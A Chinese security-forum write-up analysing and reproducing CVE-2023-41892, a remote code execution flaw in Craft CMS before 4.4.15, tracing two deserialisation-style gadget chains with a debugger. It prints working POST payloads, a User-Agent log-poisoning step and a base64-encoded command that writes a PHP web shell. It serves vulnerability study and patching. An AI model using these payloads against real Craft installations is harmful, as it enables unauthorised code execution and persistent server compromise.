问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Craft CMS远程代码执行漏洞
漏洞分析
# Craft CMS远程代码执行漏洞 ## 漏洞简介 **漏洞编号:CVE-2023-41892** Craft CMS是一个创建数字体验的平台。这是一种高影响、低复杂性的攻击媒介。建议在 4.4.15 之前运行 Craft 安...
Craft CMS远程代码执行漏洞 ================= 漏洞简介 ---- **漏洞编号:CVE-2023-41892** Craft CMS是一个创建数字体验的平台。这是一种高影响、低复杂性的攻击媒介。建议在 4.4.15 之前运行 Craft 安装的用户至少更新到该版本以缓解此问题。Craft CMS<4.4.15 版本存在远程代码执行 (RCE)漏洞,攻击者通过在受攻击系统上执行恶意命令,从而获取未授权的系统访问权限。此问题已在 4.4.15 中修复。 影响版本 ---- 4.0.0-RC1 <= Craft CMS <= 4.4.14 环境搭建 ---- > 测试工具:phpstudy+vscode,测试版本:Craft CMS4.4.14 + php8.0.2 + MySQL5.7.26 源码链接:`https://github.com/craftcms/cms/releases/` 打开phpstudy创建网站以及数据库 ![image-20240902201223309.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-79a57e028be567ae59484c6d769c99c2a4cfab3d.png) 把下载的源码复制到网站对应根目录下,打开整个项目文件夹 然后打开composer ![image-20240902201850168.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-3e264faa7d259492d50340c0cd949ba19bffc504.png) 执行以下命令 ```php php craft setup ``` 不过出现报错,找不到类 ![image-20240902202252956.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-68ab2c26712aafac71dd03681b0576b03a19c6c5.png) 打开php.ini配置文件添加以下内容即可 ```php extension=php\_intl.dll ``` 继续安装,输入配置数据库信息以及用户名(xdebug的问题忽略) 访问`http://craftcms/web/index.php`,搭建成功 ![image-20240902202642408.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-2f25a1ebc82cf7e0c8c21550c9a13d25a4f8da9b.png) 漏洞利用 ---- ### FnStream类 > 全局搜索`__construct()`进行查找,最终在FnStream类找到,并且`call_user_func()`可控 #### 漏洞复现 POST传参 ```php action=conditions/render&configObject=craft\\elements\\conditions\\ElementCondition&config={"name":"configObject","as ":{"class":"\\\\GuzzleHttp\\\\Psr7\\\\FnStream","\_\_construct()":\[{"close":null}\],"\_fn\_close":"phpinfo"}} ``` 执行结果如下 ![image-20240903154331447.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-e1209b7fb4fa6177c9519028745b975211ab03ae.png) #### 漏洞分析 我们查看官方报告,补丁文件在`src/controllers/ConditionsController.php`的`beforeAction()`方法 ![image-20240903153631438.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-7d04cbd95d3b86a607ac0a5f1eb6cb517021fa2e.png) 首先接收请求参数config并对json数据解码,然后把name键名的值赋值给`$config` 然后调用ArrayHelper类的`remove()`方法,我们跟进一下发现最终是继承的`BaseArrayHelper`类,`remove()`方法移除new-rule-type的元素,接着调用`getConditions()`方法获取条件服务对象,再调用`createCondition()`方法创建条件对象 ![image-20240903163348346.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-fa8633a294d258390986d248295264e326c53dd6.png) 再第42行下断点一步步调试,这里传进去的参数分别为ElementCondition类和恶意代码数组 ![image-20240903164144044.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-8ea76910e6f72c693f377e160a2b2b6b29f60c5d.png) 跟进一下,这里foreach遍历`$properties`数组给`$object`对象属性赋值(即ElementCondition类) ```php public static function configure($object, $properties) { foreach ($properties as $name \=> $value) { $object\->$name \= $value; } return $object; } ``` 先为`$name` 和`$value`赋完值,然后由于不存在as键名,那么给不存在的属性赋值就会触发`__set()`魔术方法,我们往上查找ElementCondition类是继承哪个父类 ```php ElementCondition -> BaseCondition -> Component ``` 最终在`\vendor\yiisoft\yii2\base\Component.php`找到`__set()`方法 ![image-20240903203851372.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-692c7e199fd5f7951ecbaa853edb2d84028e6e06.png) 这里将as与set拼接后不存在此方法,由于属性名为as直接进入到第188行的elseif语句。然后如果 `$value` 是一个 `Behavior` 实例,直接使用;否则调用 `Yii::createObject()` 方法创建实例,跟进一下 ![image-20240903205612642.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-ef69934461c2996fa0ad5c51a942bad0c79d0b9d.png) 直接看向第362行,这里将class键名就赋值给`$class`然后删除数组中的class键,继续调用`Container::get()`方法 ![image-20240903211917554.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-dc640ad0de54fda5d8b645e18ddc51610c6a3c4d.png) 由于FnStream类不是Instance类的子类,并且不存在`$_singletons[$class]`键,所以进入elseif语句调用`build()`方法 ![image-20240903221718543.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-41ffbb3b63bb1ab3e5f8af0591e838958071f355.png) 这里先调用`getDependencies()`方法,继续跟进 ![image-20240903221758762.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-47545b79df7a415e1b6571b38ab379f906be99da.png) `_reflections`类的键不存在该类,执行try语句对FnStream类实例化。往下看然后调用`getConstructor()`方法,最后return返回值 ![image-20240903222729094.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-d20752be1d0c08b659d2ea6eed388f077f190c9a.png) 回到`Container::build()`,如果存在`__construct()`键,赋值给`$addDependencies`然后删除。往下跟进到第422行 ```php $object = $reflection->newInstanceArgs($dependencies); ``` 调用`newInstanceArgs()`实例化(即是FnStream类),继续跟进 ![image-20240904000055673.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-2852e8a67fa5100e3d41650712a53fd668235484.png) 遍历`$methods`数组,将`$name`与`_fn_`进行拼接,使得FnStream类出现`_fn_close`属性并且值为null 回到`build()`方法,遍历数组config数组赋值,返回object对象 ![image-20240904000406273.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-b635f37762d2a54c99e7a663a912e5562524a6d0.png) 一步步调试跟进,最后调用`__destruct()`魔术方法,由于存在`$_fn_close`属性成功执行phpinfo ![image-20240904000447823.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-ef317603db3fa72cc1fd8763c0ac0dc5603db188.png) ### PhpManager类 > POP链跟的前面部分和利用FnStream类的链差不多,都是经过以下部分去实例化类,区别在于利用的类不同 > > ConditionsController::beforeAction() -> Component::\_\_set() -> Container::get() -> Container::build() #### 漏洞复现 先利用hackbar写入恶意代码到日志文件 ```php User-Agent: <?php phpinfo();?> ``` 然后日志文件包含即可 ```php action=conditions/render&configObject=craft\\elements\\conditions\\ElementCondition&config={"name":"configObject","as ":{"class":"\\\\yii\\\\rbac\\\\PhpManager","\_\_construct()":\[{"assignmentFile":"D:/phpstudy\_pro/WWW/craftcms/storage/logs/web-2024-09-04.log"}\]}} ``` ![image-20240904220349458.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-ff08dd7f5335b4e799bd25839b5453a55aaabdf8.png) 注意这里的`assignmentFile`是PhpManager类的属性,换成其他属性也行。还有就是需要完整日志路径,不然会报错。进一步利用的话由于单双引号会被反斜杠转义,考虑直接使用反引号命令执行 ```php User-Agent: <?php \`echo PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=|base64 -d > shell.php\`;?> ``` #### 漏洞分析 前面链子一样我们就不分析了,直接跟进到Container::getDependencies()`的第507行 ![image-20240905215531196.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-30767a2f38868dbefa98b542708e6cddcf5ae733.png) `$class`值为`\yii\rbac\PhpManager`,所以进行实例化PhpManager类 调用`init()`方法初始化 ```php public function init() { parent::init(); $this\->itemFile \= Yii::getAlias($this\->itemFile); $this\->assignmentFile \= Yii::getAlias($this\->assignmentFile); $this\->ruleFile \= Yii::getAlias($this\->ruleFile); $this\->load(); } ``` 这里出现了`load()`方法,跟进一下 ![image-20240905215758627.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-65db8a7a535c018cda6b7a8c9d9c9b099799ec48.png) 定义了空数组,然后调用`loadFromFile()`并传参进行赋值,继续跟进 ```php protected function loadFromFile($file) { if (is\_file($file)) { return require $file; } return \[\]; } ``` 对传进来的文件进行判断,文件包含并返回执行结果 我们ctrl加左键查看下传进去的参数,发现都可控那么就可以尝试进行包含恶意代码 ![image-20240905220150968.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-eecb3a1e7dda02e581bdee8544b8c2d72ddc09ee.png) 哪些文件可以被我们注入恶意代码并且用来文件包含呢,我们查看下官方文档,注意到在目录`storage/logs/`下存在文件`web-[Y-m-d].log`,按照年月日命名并且里面存储了web的请求内容,我们直接包含这个文件即可实现RCE ![image-20240905220430602.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-c858e86617915f09168a4d725aa10c2fa91fc498.png)
发表于 2024-09-10 08:30:02
阅读 ( 6168 )
分类:
CMS
1 推荐
收藏
0 条评论
请先
登录
后评论
rev1ve
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!